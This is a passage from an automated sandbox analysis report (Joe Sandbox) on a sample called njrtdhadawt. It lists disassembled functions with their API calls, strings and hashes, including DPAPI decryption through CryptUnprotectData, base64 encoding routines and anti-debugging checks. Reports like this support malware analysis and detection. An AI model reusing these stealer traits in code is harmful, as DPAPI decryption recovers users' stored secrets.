Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fef6d2212b98e5f859497d40cd3077ca1c6b020bca395c0eccf3e13f297fcb14
Instruction ID: 2d22fefb8956433e8e8cf13d1cb9c8e97df275c76f63d6300999ee21dab05a6f
Opcode Fuzzy Hash: fef6d2212b98e5f859497d40cd3077ca1c6b020bca395c0eccf3e13f297fcb14
Instruction Fuzzy Hash: 4F01D831704B0BFAFB739B55EC05F9A37EAAF01374F100499F681E60C2E764CA41A654

Function 6CD515E0 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,6CD5144F,?,00001000,?,6CD4981A,FFFFFFFF,?,6CD5144F,?,?), ref: 6CD51645
WriteConsoleW.KERNEL32(?,?,00000000,00000000,00000000,?,6CD5144F), ref: 6CD51675
WriteConsoleW.KERNEL32(?,?,00000001,6CD5144F,00000000,?,6CD5144F), ref: 6CD516C6
GetLastError.KERNEL32(?,6CD5144F), ref: 6CD518E3

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ConsoleWrite$ByteCharErrorLastMultiWide
String ID:
API String ID: 3036337926-0
Opcode ID: c0bdd2988121c23dcc74e11db2a1f075ef1939fd1c3cb9335469458dcae7d954
Instruction ID: e502d7e61cba89f25dd038c43e37a0c2b1bdbb12a58021f7efaa855c00a4c04b
Opcode Fuzzy Hash: c0bdd2988121c23dcc74e11db2a1f075ef1939fd1c3cb9335469458dcae7d954
Instruction Fuzzy Hash: 02917A309287816AFB124F38D8017AAFB68AFD3384F54D71EF698728A0FB31C5958715

Function 6CD5390E Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

}, xrefs: 6CD539D7
\u, xrefs: 6CD539DB
\u, xrefs: 6CD53ACB
}, xrefs: 6CD53AC7
{, xrefs: 6CD53AD2
{, xrefs: 6CD539E2

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 2bbc80fab093bc2304ffffcdd14150d825846d3a58e3c70a3df44792b39cf733
Instruction ID: b719becf2e75954d8a5c1c3911c0a5e00ef546c1d0e12da5883f6435ae0d3525
Opcode Fuzzy Hash: 2bbc80fab093bc2304ffffcdd14150d825846d3a58e3c70a3df44792b39cf733
Instruction Fuzzy Hash: 22417E27D1A7CED5CB018BB484602AEBFB26FD6204F5D429AC4D81F382D3358157D3A5

Function 00FFCAB4 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00FFCEEC
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00FFCF01
UnhandledExceptionFilter.KERNEL32(01012344), ref: 00FFCF0C
GetCurrentProcess.KERNEL32(C0000409), ref: 00FFCF28
TerminateProcess.KERNEL32(00000000), ref: 00FFCF2F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3153ac94b871d0b32febdfd22bd73f40028c47d62ba50007afd5d0807a93b4be
Instruction ID: 42ea4f3300f4f501c0178c6bd302a036f7ba9653266b07cffdbe3a6f38751403
Opcode Fuzzy Hash: 3153ac94b871d0b32febdfd22bd73f40028c47d62ba50007afd5d0807a93b4be
Instruction Fuzzy Hash: 5D2103B880020ACFD332DF65F5847987BB4FB09310F40846AE69887359DBBE69809F91

Function 6CD4ED70 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6CD4F03E

Strings

main, xrefs: 6CD4F116
<unnamed>, xrefs: 6CD4EF22
Box<dyn Any>aborting due to panic at , xrefs: 6CD4EE73

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $main
API String ID: 3114109732-896199136
Opcode ID: 88c682cc5ddd243fae4807124f125fa07f28134be6b53f88adc7c657c2767b4e
Instruction ID: 8f0f54f73a4a3661ecdacdb2b71ce2af5addd4762d851b75f5fdb8ee68ebaa1d
Opcode Fuzzy Hash: 88c682cc5ddd243fae4807124f125fa07f28134be6b53f88adc7c657c2767b4e
Instruction Fuzzy Hash: 8FD11674600A40DFE721CF29C484B52B7F1BB49308F14896EDA9A8BFA1D735E549CBA0

Function 00FE86EF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,00FE8889), ref: 00FE8712
LocalAlloc.KERNEL32(00000040,00FE8889,?,?,00FE8889,00FECD1F,?,?,?,?,?,?,?,00FECE1A,?,?), ref: 00FE8726
LocalFree.KERNEL32(00FECD1F,?,?,00FE8889,00FECD1F,?,?,?,?,?,?,?,00FECE1A,?,?), ref: 00FE874B

Strings

DPAPI, xrefs: 00FE86F7

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 3971597dd6902e61427a960acd39a2e1f93afc510a432da766ca24f4d340c305
Instruction ID: 01ba69df9bf7ffd75cea9747ffdf0f525605cfad4e63cd4adfd09bc189e09f00
Opcode Fuzzy Hash: 3971597dd6902e61427a960acd39a2e1f93afc510a432da766ca24f4d340c305
Instruction Fuzzy Hash: A801FF75A01218AFCB10DFA8D88899EBBF9FF48754B204065EA05E7344D7709E41CB90

Function 00FFBA48 Relevance: 6.1, APIs: 4, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,771A83C0,00000000,?,?,?,?,?,?,00FFC011,?,00FF7104,?), ref: 00FFBA9B
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00FFC011,?,00FF7104), ref: 00FFBACB
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00FFC011,?,00FF7104,?), ref: 00FFBAF7
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00FFC011,?,00FF7104,?), ref: 00FFBB05

Part of subcall function 00FFB413: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,?), ref: 00FFB447

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: 01c6605a02e174fafbcbf8f26dbc5474438c35dd126e3a9a41fed5ff3918d791
Instruction ID: e850e3b99715cc51abc97470be9b00da03fee2bcf97378970aa032dc2d348f62
Opcode Fuzzy Hash: 01c6605a02e174fafbcbf8f26dbc5474438c35dd126e3a9a41fed5ff3918d791
Instruction Fuzzy Hash: FB419271800209DFCF21DF69C880AAEBBF8FF49310F14016AE955EB26AE3359945DF60

Function 6CD611FD Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6CD61209
IsDebuggerPresent.KERNEL32 ref: 6CD612D5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CD612EE
UnhandledExceptionFilter.KERNEL32(?), ref: 6CD612F8

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5e8286fee28d93bbd763d754617b24f5d602a495219b929886619e5ca6740fcd
Instruction ID: ba6b7cfeade0003c845500a2b3edccacea89ffd84d6ec8716efb612e98f2107c
Opcode Fuzzy Hash: 5e8286fee28d93bbd763d754617b24f5d602a495219b929886619e5ca6740fcd
Instruction Fuzzy Hash: 993126B5D01229DBDF21DFA5C9897CDBBF8AF08304F1041AAE50DAB650EB709A84CF54

Function 00FF2080 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,?,00000000,0000000F,0000000F,?,00FE5504,?,?,?,?), ref: 00FF20A0
GetProcessHeap.KERNEL32(00000000,?,?,?,00000000), ref: 00FF20AD
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00FF20B4

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 0e095bd95d15947043a1533677689bc1a9989160a28e9860d5bd0495e4d78de7
Instruction ID: 0d82dd2ada663677a51fc604ea6ece1de4df9b425ab19705403ee0c6fded9d8d
Opcode Fuzzy Hash: 0e095bd95d15947043a1533677689bc1a9989160a28e9860d5bd0495e4d78de7
Instruction Fuzzy Hash: 65011272500209BFDF118F65DC48DBE7BBEFF89360B148458F64593114DB319990EB60

Function 00FE8696 Relevance: 6.0, APIs: 4, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(00FE6716,00000000,00000001,00000000,?,00000000,00000000), ref: 00FE86AE
LocalAlloc.KERNEL32(00000040,?,?,?,00FE6716,?), ref: 00FE86BC
CryptStringToBinaryA.CRYPT32(00FE6716,00000000,00000001,00000000,?,00000000,00000000), ref: 00FE86D2
LocalFree.KERNEL32(?,?,?,00FE6716,?), ref: 00FE86E1

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 5a6df078b6e508e40ccb15aaa28b7923b323899fb838df3f711ff1af4e82a9c8
Instruction ID: 869889c2d88d74f918b98875af26187d23a89221afd45dcf11aa4b6692fb2963
Opcode Fuzzy Hash: 5a6df078b6e508e40ccb15aaa28b7923b323899fb838df3f711ff1af4e82a9c8
Instruction Fuzzy Hash: 63F0E7B4502235BFCB315F56DC4DE8B7EB9EF46BA0B104055FA09A6248D7714A40DBE1

Function 6CD58BE0 Relevance: 5.9, Strings: 4, Instructions: 941COMMON

Download Yara Rule

Strings

__ZN, xrefs: 6CD59017
?, xrefs: 6CD5950D
.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 6CD58BF5
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6CD59798

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID:
String ID: .llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs$?$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`
API String ID: 0-2050174402
Opcode ID: 1d1932b572241947f9a9dfa327ea69d8bc96ddb8d305dea106c7b3e40c544460
Instruction ID: 93492f4e9dc18a0f8af67d203cde565cad3ee014c6f9964f35d3c8a8b587b742
Opcode Fuzzy Hash: 1d1932b572241947f9a9dfa327ea69d8bc96ddb8d305dea106c7b3e40c544460
Instruction Fuzzy Hash: 867248B29087109FDB14CF28C89076AB7E2EFC5314F998A1EF4E557AA1D331D856C782

Function 6CD50DE0 Relevance: 4.6, APIs: 3, Instructions: 83filenativesynchronizationCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL ref: 6CD50E3F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 6CD50E4F
RtlNtStatusToDosError.NTDLL ref: 6CD50E6F

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ErrorFileObjectSingleStatusWaitWrite
String ID:
API String ID: 3447438843-0
Opcode ID: 7077ee6d81e59bf50dbe8db84c8383ed1445d5a7940bc71ecec999ff0ed92d65
Instruction ID: 9f05440eb3c37927e060fe14177e5aa5a79d148ffb5b3a7d0ca5f50f9bb06e98
Opcode Fuzzy Hash: 7077ee6d81e59bf50dbe8db84c8383ed1445d5a7940bc71ecec999ff0ed92d65
Instruction Fuzzy Hash: 40319175608345AFE704CF14C850B9BBBE8EBC4358F108A1DF9A897390D774E9058BA6

Function 6CD66ACC Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6CD66BC4
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6CD66BCE
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6CD66BDB

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5246371b182d02c6b961a1c57182a0be38da63a079a30d7d2cefbe7e6139f896
Instruction ID: b969b9c7eb15bc1bee928ecac6262d9139b7e43e581cb3e88e2f2c3274456576
Opcode Fuzzy Hash: 5246371b182d02c6b961a1c57182a0be38da63a079a30d7d2cefbe7e6139f896
Instruction Fuzzy Hash: 6431C774901229EBCB21DF29D9887CCBBB8BF08314F5042EAE41CA7660E7709B85CF54

Function 6CD2B040 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

BCryptGenRandom.BCRYPT(00000000,?,?,00000002,00000000,?,00000007,?,6CD2AE46,?,?,?,?,6CD6E0E7,?,?), ref: 6CD2B058
SystemFunction036.ADVAPI32(?,?,?,6CD2AE46,?,?,?,?,6CD6E0E7,?,?,00000020), ref: 6CD2B069

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

